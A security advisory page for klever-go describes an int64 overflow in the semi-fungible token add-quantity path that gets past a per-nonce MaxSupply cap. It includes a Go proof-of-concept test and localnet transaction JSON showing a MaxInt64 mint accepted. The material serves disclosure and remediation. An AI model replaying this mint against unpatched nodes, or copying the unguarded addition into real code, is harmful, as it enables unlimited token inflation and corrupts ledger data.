Skip to content

GHSA-mrpp-v6pg-p54x CVE-2026-55764 GO-2026-6330

klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply

High Go
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.54%
Chance of exploitation in the next 30 days. Higher than 45.30% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-190 Integer Overflow or Wraparound
Fix
1.7.19
Upgrade github.com/klever-io/klever-go to this version or later

Description

Summary

On the SFT add-quantity path the only supply bound is SFTAddCirculation, which does meta.Circulation += amount with no overflow guard, then checks if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. If amount overflows int64 and wraps negative, negative > MaxSupply is false, the cap check passes, the function returns nil, and the balance credit stands. A nonce created with a finite MaxSupply (e.g. 1000) can thus be minted to ~MaxInt64 tokens in one transaction. The fungible mint path is not vulnerable — it has a post-increment MintedValue <= 0 guard that the SFT path lacks.

Affected code

  • core/kapp/systemAccount/systemAcount.go:132-138 (SFTAddCirculation, the unguarded +=).
  • Caller: core/kapp/kda/mint.go:247-283 (processSemiFungibleAddQuantity); contrast guard mint.go:289.

Impact

A mint-role holder mints ~9.2e18 units of a nonce whose declared MaxSupply is small, with no authorized debit, and corrupts the on-chain Circulation counter to a negative value (misleading any market/indexer that reads it).

Reachability

Mint-role holder (asset owner or an address granted the role). The mint Amount is a raw int64 from the contract with no upstream upper bound.

Proof of concept

Unit test

TestExploit_SFTCirculationOverflowBypassesCap creates a nonce capped at MaxSupply = 1000, seeds Circulation = 5, then calls SFTAddCirculation(MaxInt64). The call returns nil (cap bypassed) and Circulation wraps to -9223372036854775804; a normal over-cap amount (2000) is correctly rejected with ErrMaxSupplyExceeded and does not persist — isolating the unguarded += overflow as the bypass.

<details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary>

package systemAccount

import (
	"math"
	"testing"

	"github.com/klever-io/klever-go/common"
	commonMock "github.com/klever-io/klever-go/common/mock"
	"github.com/klever-io/klever-go/data/state"
	"github.com/klever-io/klever-go/kapps"
	"github.com/klever-io/klever-go/tools/marshal"
	"github.com/stretchr/testify/require"
)

func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {
	t.Helper()

	marshalizer := &marshal.ProtoMarshalizer{}
	store := make(map[string][]byte)

	tracker := &commonMock.DataTrieTrackerStub{
		RetrieveValueCalled: func(key []byte) ([]byte, error) {
			return store[string(key)], nil
		},
		SaveKeyValueCalled: func(key []byte, value []byte) error {
			store[string(key)] = value
			return nil
		},
	}

	kappAccount := &commonMock.KAppAccountHandlerStub{
		DataTrieTrackerCalled: func() state.DataTrieTracker {
			return tracker
		},
	}

	s := &systemAccountKApp{marshalizer: marshalizer}
	require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{
		LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {
			return kappAccount, nil
		},
	}))

	return s, store
}

func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {
	t.Helper()
	meta, err := s.SFTGetMeta(asset, nonce)
	require.NoError(t, err)
	require.NotNil(t, meta)
	return meta
}

// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation
// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded
// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation
// overflows int64 and wraps negative, so the signed cap check
// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:
// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far
// past the declared cap.
func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {
	asset := []byte("SFTASSET")
	nonce := []byte{0x01}

	const maxSupply = int64(1000)
	const startCirculation = int64(5)
	// amount is a raw int64 from the contract with no upstream upper bound; the
	// largest value it can carry is MaxInt64. With Circulation already at 5,
	// 5 + MaxInt64 overflows int64 and wraps negative.
	const overflowAmount = int64(math.MaxInt64) // 9223372036854775807

	// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---
	s, _ := newExploitSystemAccountKApp(t)

	require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash")))
	// seed an initial circulation of 5 (well within the cap)
	require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))

	before := readMeta(t, s, asset, nonce)
	require.Equal(t, maxSupply, before.MaxSupply)
	require.Equal(t, startCirculation, before.Circulation)
	t.Logf("BEFORE  exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation)

	// --- contrast: a normal over-cap amount IS correctly rejected ---
	// 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.
	contrastErr := s.SFTAddCirculation(asset, nonce, 2000)
	require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,
		"a non-overflowing over-cap mint must be rejected")
	// the rejected call must NOT have persisted (Circulation unchanged at 5)
	afterContrast := readMeta(t, s, asset, nonce)
	require.Equal(t, startCirculation, afterContrast.Circulation,
		"rejected over-cap mint must not persist new circulation")
	t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d",
		contrastErr, afterContrast.Circulation)

	// --- the exploit: amount near MaxInt64 overflows Circulation negative ---
	exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)

	after := readMeta(t, s, asset, nonce)
	t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply)
	t.Logf("AFTER   exploit: Circulation=%d  err=%v", after.Circulation, exploitErr)

	// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded
	require.NoError(t, exploitErr,
		"BUG: overflowing mint should have been capped but returned nil (cap bypassed)")

	// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000
	require.Negative(t, after.Circulation,
		"BUG: Circulation must have overflowed to a negative value")

	// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.
	// Computed via non-constant vars so the deliberate overflow happens at runtime
	// (a constant expression would be rejected by the compiler).
	circ := startCirculation
	amt := overflowAmount
	expectedWrap := circ + amt // intentional int64 overflow at runtime
	require.Equal(t, expectedWrap, after.Circulation)

	t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+
		"a real mint would have credited ~%d tokens with no matching debit.",
		maxSupply, after.Circulation, overflowAmount)
}

</details>

On-chain reproduction (live single-node localnet)

SFT F05-2SDF was created with nonce 1 capped at MaxSupply = 1000 (the setup mint of amount = 1 succeeds normally). An AssetTrigger Mint of amount = 9223372036854775807 (MaxInt64) for F05-2SDF/1, sent to a fresh receiver, returned resultCode Ok with a Transfer receipt minting MaxInt64 from the protocol mint address — no MaxSupplyExceeded, despite the declared cap of 1000. (Sending the same amount to an account that already held nonce-1 units instead trips the balance overflow guard with RC 37, confirming the unguarded counter is specifically SFTAddCirculation, reached only when the receiver's balance add does not itself overflow.)

<details><summary>Setup mint — nonce 1 minted normally with <code>amount=1</code> (hash <code>21e8059e…b55aad1a</code>)</summary>

{
    "hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a",
    "blockNum": 463,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F05-2SDF/1",
            "assetType": "SemiFungible",
            "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
            "to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "type": 0,
            "typeString": "Transfer",
            "value": 1
        }
    ],
    "contract": [
        {
            "type": 11,
            "typeString": "AssetTriggerContractType",
            "parameter": {
                "triggerType": "Mint",
                "assetId": "F05-2SDF",
                "toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                "amount": 1
            }
        }
    ]
}

</details>

<details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary>

{
    "hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e",
    "blockNum": 484,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F05-2SDF/1",
            "assetType": "SemiFungible",
            "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 9223372036854775807
        }
    ],
    "contract": [
        {
            "type": 11,
            "typeString": "AssetTriggerContractType",
            "parameter": {
                "triggerType": "Mint",
                "assetId": "F05-2SDF/1",
                "toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                "amount": 9223372036854775807
            }
        }
    ]
}

</details>

Remediation

  1. In SFTAddCirculation, add a post-increment overflow guard before the cap check (e.g. if meta.Circulation < 0 { return ErrSupplyNotValid }, matching the fungible MintedValue <= 0 pattern), or check amount against MaxSupply - Circulation with overflow-safe arithmetic.
  2. Consensus-affecting → gate behind the next activation flag.

Affected versions

Go

PackageVulnerableFixed in
github.com/klever-io/klever-go
< 1.7.19
1.7.19

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/klever-io/klever-go Go → 1.7.19

go
go get github.com/klever-io/klever-go@v1.7.19 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-190: Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

How to prevent it
  • Requirements: Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
  • Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
  • Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
  • Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7c7c-373r-gfjj
Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery
High Also affects github.com/klever-io/klever-go
GHSA-9wh6-9hq7-9688
Klever-Go: Validator registration accepts an unvalidated BLS public key → consensus liveness DoS
High Also affects github.com/klever-io/klever-go
GHSA-26r5-4mm2-px5c
Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace
High Also affects github.com/klever-io/klever-go
GHSA-97cv-x867-6xhm
Klever-Go Account takeover: `kleverUpdateAccountPermission` authorizes on attacker-controlled `RecipientAddr` instead of the authenticated caller
High Also affects github.com/klever-io/klever-go
GHSA-4fwh-wrm6-97xm
Klever-Go: Unauthenticated WebSocket /subscribe: no read-size limit, no connection cap, permissive origin -> remote node memory/goroutine exhaustion (DoS)
High Also affects github.com/klever-io/klever-go
GHSA-9v8p-frvj-2pcm
Klever-Go: /log controls global node logging
High Also affects github.com/klever-io/klever-go
GHSA-v358-wf77-39xv
klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits
High Also affects github.com/klever-io/klever-go
GHSA-cgc5-v3f2-8m2v
Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)
Critical Also affects github.com/klever-io/klever-go
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor